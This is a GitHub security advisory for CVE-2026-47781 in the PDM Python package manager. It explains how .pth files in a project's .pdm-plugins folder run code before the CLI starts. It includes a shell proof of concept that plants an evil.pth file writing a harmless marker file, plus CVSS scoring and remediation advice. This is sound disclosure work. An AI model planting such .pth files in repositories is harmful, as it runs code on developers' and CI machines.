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PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing

High severity GitHub Reviewed Published May 21, 2026 in pdm-project/pdm • Updated Jun 11, 2026

Package

pip pdm (pip)

Affected versions

<= 2.26.9

Patched versions

2.27.0

Description

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

  • Trigger does not require pdm install --plugins
  • A low-impact command such as pdm --version is sufficient
  • Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

  • src/pdm/core.py:74-82
  • src/pdm/core.py:310-333
  • src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

  • Arbitrary code execution as the invoking user
  • Potential credential theft, persistence, or workspace tampering
  • Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

  • A temporary project is created
  • An evil.pth file is placed under .pdm-plugins
  • Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

  • Base score: 8.4 (High)
  • Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

  • AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
  • AC:L: no special bypass or race is required
  • AT:N: no external precondition beyond the vulnerable workflow is required
  • PR:N: the attacker does not need privileges on the victim host
  • UI:A: the victim must actively run a pdm command in the malicious checkout
  • VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
  • SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

  • Do not auto-load project-local .pdm-plugins by default
  • Avoid site.addsitedir() for project-controlled plugin paths
  • If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
  • Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

References

@frostming frostming published to pdm-project/pdm May 21, 2026
Published to the GitHub Advisory Database Jun 11, 2026
Reviewed Jun 11, 2026
Last updated Jun 11, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-47781

GHSA ID

GHSA-qq6c-99pv-prvf

Source code

Credits

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